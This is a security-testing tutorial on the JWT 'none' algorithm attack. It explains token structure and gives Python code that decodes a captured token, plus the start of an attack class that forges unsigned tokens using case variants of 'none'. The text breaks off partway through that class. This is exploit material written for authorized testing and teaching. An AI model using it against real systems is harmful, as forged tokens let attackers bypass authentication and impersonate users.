Performing JWT None Algorithm Attack

Overview

The JWT none algorithm attack exploits a vulnerability in JSON Web Token libraries that accept tokens with the alg header set to none, effectively bypassing signature verification. When a server processes a JWT with "alg": "none", it treats the token as valid without checking any cryptographic signature, allowing attackers to forge tokens with arbitrary claims such as escalated privileges, impersonated users, or extended expiration times. This vulnerability was first disclosed by Tim McLean in 2015 and has affected multiple JWT libraries across languages.

When to Use

• When conducting security assessments that involve performing jwt none algorithm attack
• When following incident response procedures for related security events
• When performing scheduled security testing or auditing activities
• When validating security controls through hands-on testing

Prerequisites

• Target application using JWT for authentication or authorization
• Ability to intercept and modify HTTP requests (Burp Suite, mitmproxy)
• Python 3.8+ with PyJWT library for token crafting
• Understanding of JWT structure (Header.Payload.Signature)
• Authorization to perform security testing on the target

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

JWT Structure

A JWT consists of three Base64URL-encoded parts separated by dots:

Header.Payload.Signature

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.    # Header
eyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ.    # Payload
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  # Signature

Attack Methodology

Step 1: Capture a Valid JWT

Intercept a legitimate JWT from the target application using Burp Suite or browser developer tools:

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Step 2: Decode and Analyze the Token

import base64
import json

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

parts = token.split('.')

# Decode header
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
print(f"Header: {header}")
# Output: {'alg': 'HS256', 'typ': 'JWT'}

# Decode payload
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
print(f"Payload: {payload}")
# Output: {'sub': '1234567890', 'name': 'John Doe', 'role': 'user', 'iat': 1516239022}

Step 3: Craft a Forged Token with None Algorithm

#!/usr/bin/env python3
"""JWT None Algorithm Attack Tool

Crafts JWT tokens with the 'none' algorithm to test for
signature verification bypass vulnerabilities.
"""

import base64
import json
import requests
import sys
from typing import Optional

class JWTNoneAttack:
    # All known variations of the 'none' algorithm value
    NONE_VARIANTS = [
        "none",
        "None",
        "NONE",
        "nOnE",
        "noNe",
        "NoNe",
        "nONE",
        "nonE",
    ]

    def __init__(self, target_url: str, original_token: str):
        self.target_url = target_url
        self.original_token = original_token
        self.original_header, self.original_payload = self._decode_token(original_token)

    def _base64url_encode(self, data: bytes) -> str:
        """Base64URL encode without padding."""
        return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')

    def _base64url_decode(self, data: str) -> bytes:
        """Base64URL decode with padding restoration."""
        padding = 4 - len(data) % 4
        if padding != 4:
            data += '=' * padding
        return base64.urlsafe_b64decode(data)

    def _decode_token(self, token: str) -> tuple:
        """Decode JWT header and payload."""
        parts = token.split('.')
        header = json.loads(self._base64url_decode(parts[0]))
        payload = json.loads(self._base64url_decode(parts[1]))
        return header, payload

    def craft_none_token(self, modified_payload: dict,
                          alg_variant: str = "none") -> str:
        """Craft a JWT with the none algorithm and modified payload."""
        # Create header with none algorithm

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